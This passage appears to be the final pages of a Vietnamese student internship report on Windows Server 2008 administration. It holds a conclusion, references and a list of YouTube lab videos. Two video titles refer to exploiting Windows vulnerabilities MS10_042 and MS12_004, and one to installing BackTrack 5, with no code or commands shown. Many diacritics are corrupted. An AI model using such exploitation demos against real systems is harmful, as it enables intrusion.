năng cần thiêt đê cai đăt, câu hinh hoan chinh mang doanh nghiêp cỡ vừa và lơn

dưa vào Windows Server 2008.

Hiêu vê câu trúc ha tầng, thiêt kê và quan tri hê thông mang, nhiêm vu quan

ly bao gồm viêc điêu hanh va hỗ trơ hê thông.

Triên khai, thiêt kê, quan lý và chuẩn đoan hỏng hóc cho môt hê thông mang.

Có các kiên thưc trên nên tang công nghê Windows Server 2008.

4.1 Kinh nghiệm thực tế

Có cái nhìn thưc tê vê viêc câu hình, quan lý môt hê thông mang cua môt

doanh nghiêp thông qua nên tang.

Đươc trưc tiêp tiêp xúc những công nghê và thiêt bi ma trươc đây chi biêt

đên thông qua sách vở.

Đươc vân dung những kiên thưc tiêp thu trên lơp vào công viêc thưc tê.

Bô sung và trau dồi những thiêu sót vê kiên thưc trong quá trình hoc trên lơp.

Trưc tiêp triên khai và câu hình trên máy chu ao VPS.

Có kinh nghiêm trong viêc khăc phuc sư cô khi hê thông găp lỗi.

4.2 Hoàn thiện bản thân

Cac thanh viên trong nhom đã đinh hương rõ ràng muc tiêu săp tơi sẽ làm.

Tư tin hơn trong viêc giao tiêp vơi moi ngươi trong công viêc.

Nâng cao kha năng lam viêc nhom cũng như kha năng tư ban thân giai quyêt

vân đê kho khăn găp phai trong công viêc.


Trang 150


Tiêp cân đươc vơi công nghê thông tin cua thơi đai.

Thiêt lâp các chính sách quan ly tai nguyên, ngươi dùng mang trong mô hình

Workgroup và Domain

Thiêt lâp và triên khai các dich vu mang cơ sở (DHCP, DNS , FTP, Web),

các kỹ thuât mang cao câp (Network load balancing, NPS, NAP, VPN, CA,

IPv6,…).

Thiêt kê, cai đăt và vân hành hê thông mang LAN, WAN theo công nghê

mơi cua Microsoft dưa trên các hê điêu hành Windows Server 2003, Windows

Server 2008.

4.3 Các kiến thức được lĩnh hội

Tăng cương kha năng tư hoc, tư lam, năng đông trong công viêc.

Tăng kha năng nhân thưc vê công viêc trong tương lai.

Em đã co thêm nhiêu kinh nghiêm trong viêc tìm và sửa chữa các lỗi xuât

hiên trên Server


Trang 151


CHƯƠNG 4: KẾT LUÂN

Nhìn chung các công viêc em đã cơ ban hoàn thành, tuy nhiên sẽ còn nhiêu

thiêu sot, đa phần là quá trình tư hoc. Vì thê mong Thầy cô, các ban đanh gia va đưa

ra những ý kiên đong gop đê khăc phuc và sữa chữa. Bênh canh trinh đô chuyên

mông cũng cần có những kỹ năng mêm như kỹ năng giao tiêp, làm viêc nhom cũng

hêt sưc quan trong. Thưc tâp la giai đoan quan trong cua sinh viên, giúp sinh viên

co cơ hôi làm viêc thưc tê nhằm cung cô kĩ năng, chuẩn bi cho giai đoan làm viêc

thât sau khi tôt nghiêp. Trong quá trình thưc tâp tai Trung tâm ATHENA, nhóm

chung em đươc tiêp xúc vơi môt môi trương làm viêc chuyên nghiêp, các công

nghê, thiêt bi,các mô hình thưc tê... Qua đo nhom hoc hỏi đươc những kinh nghiêm

nhât đinh và có những suy nghĩ đong gop sau:

Vê công viêc: Đê thiêt kê và triên khai môt hê thông mang cho môt công ty,

cần có nhiêu bô phân phôi hơp vơi nhau đê thưc hiên và hoàn thành dư án.

Vê phát triên kỹ năng: Đê các bô phân có thê phôi hơp tôt mỗi nhân viên cần

có những kỹ năng cơ ban đê làm viêc trong đôi, nhóm:

Làm viêc nhóm: Kỹ năng lam viêc nhóm là kha năng lam viêc hiêu qua trong

đôi ngũ. Đo la viêc có thê sử dung đung ngươi đê co đươc kêt qua tôt nhât và luôn

sẵn sang đê có thê lãnh đao hoăc phôi hơp làm theo.

Tìm hiêu – thu thâp thông tin: Quan lý thông tin là kha năng biêt đươc nơi đê

co đươc thông tin cần thiêt - đê tìm kiêm, đinh vi, và thu thâp no. Điêu này có thê

liên quan đên viêc sử dung các nguồn lưc khác nhau, cho dù chúng là từ những con

ngươi hoăc từ các tài liêu trong thê giơi rông lơn cua công nghê

Kỹ năng giai quyêt vân đê - Tính linh hoat : Tính linh hoat là kha năng thich

nghi đê giai quyêt công viêc chúng ta găp phai hàng ngày trong công viêc lẫn đơi

sông riêng. Giai quyêt vân đê la xac đinh vân đê, nghiên cưu giai phap va đưa ra

những quyêt đinh hiêu qua.

Vê công nghê: vơi lơi thê là công ty hoat đông trong lĩnh vưc công nghê

thông tin, ATHENA có ha tầng CNTT hiên đai, an toàn và thông suôt.


Trang 152


CHƯƠNG 5 : TÀI LIÊU THAM KHẢO

1. http://www.slideshare.net/

2. http://www.quantrimang.com.vn/

3. http://giaotrinhcntt.com

4. http://www.nhatnghe.com/

5. http://sinhvienit.net/

6. http://www.youtube.com/

http://www.quantrimang.com.vn/

http://giaotrinhcntt.com/tai-lieu-quan-tri-mang-windows-server-2008-t282.html

http://www.nhatnghe.com/forum/showthread.php?t=66006

http://sinhvienit.net/

http://www.youtube.com/


Trang 153


Các video đa thực hiện

Lab 1. user and group

https://www.youtube.com/watch?v=RuaNbQV54M4

Lab 2. Local Policy

https://www.youtube.com/watch?v=CUXKm1yb3y4

Lab 3.Local Security Policy

https://www.youtube.com/watch?v=xD9Tsm07zio

Lab 4. NTFS PERMISSION

https://www.youtube.com/watch?v=pJiRhoSUWRE

Lab 5. Domain

https://www.youtube.com/watch?v=4Y0nvYppeqs

Lab 6. Local user

https://www.youtube.com/watch?v=w23oXadekzQ

Lab 7. Nat

https://www.youtube.com/watch?v=jcPey7o51OE

Lab 8. DNS

https://www.youtube.com/watch?v=FKr4HnS0MYo

Lab 9. DHCP

https://www.youtube.com/watch?v=gJjsHhN-Pvw

Hương dẫn cai wordpress trên VPS

https://www.youtube.com/watch?v=cZK2RHS3-YA

Hương dẫn cai themes wordpress

https://www.youtube.com/watch?v=HX0q5ZfmrHg

Hương dẫn tao menu wordpress

https://www.youtube.com/watch?v=OFivpVawQrg

Huơng dan tao tao bai viet trong wordpress

https://www.youtube.com/watch?v=9_7UJvUpHE4

Hương dẫn tao bai viêt nôi bât trong wordpress

https://www.youtube.com/watch?v=AfpA_k4qCyY

Hương dẫn cho hiên thi danh muc tin tưc trong wordpress

https://www.youtube.com/watch?v=Jua4MsWEdfM

Hương dẫn tích hơp các trang mang xã hôi vào bài viêt

https://www.youtube.com/watch?v=xTFeNByHCyE

Hương dẫn cho hiên thi muc tin tưc trong wordpress

https://www.youtube.com/watch?v=CaQBSZ3w7GY

Hương dẫn cho hiên thi muc thông kê trong wordpress

https://www.youtube.com/watch?v=yYvZXZ5UYAU

Hương dẫn cài Bactrack5 R3

https://www.youtube.com/watch?v=TRKvBUqzbig

https://www.youtube.com/watch?v=RuaNbQV54M4

https://www.youtube.com/watch?v=CUXKm1yb3y4

https://www.youtube.com/watch?v=xD9Tsm07zio

https://www.youtube.com/watch?v=pJiRhoSUWRE

https://www.youtube.com/watch?v=4Y0nvYppeqs

https://www.youtube.com/watch?v=w23oXadekzQ

https://www.youtube.com/watch?v=jcPey7o51OE

https://www.youtube.com/watch?v=FKr4HnS0MYo

https://www.youtube.com/watch?v=gJjsHhN-Pvw

https://www.youtube.com/watch?v=cZK2RHS3-YA

https://www.youtube.com/watch?v=HX0q5ZfmrHg

https://www.youtube.com/watch?v=OFivpVawQrg

https://www.youtube.com/watch?v=9_7UJvUpHE4

https://www.youtube.com/watch?v=AfpA_k4qCyY



https://www.youtube.com/watch?v=xTFeNByHCyE

https://www.youtube.com/watch?v=CaQBSZ3w7GY

https://www.youtube.com/watch?v=yYvZXZ5UYAU

https://www.youtube.com/watch?v=TRKvBUqzbig


Trang 154


Khai thác lỗ hông windows thông qua mã lỗi MS10_042

https://www.youtube.com/watch?v=qgUWFPe9nDk

Khai thác lỗ trên windows thông qua mã lỗi MS12_ 004

https://www.youtube.com/watch?v=_e6F2pMhmUs

.

https://www.youtube.com/watch?v=qgUWFPe9nDk

https://www.youtube.com/watch?v=_e6F2pMhmUs

Education

Lê hữu bằng _đồ án cuối kỳ các chính sách win server 2008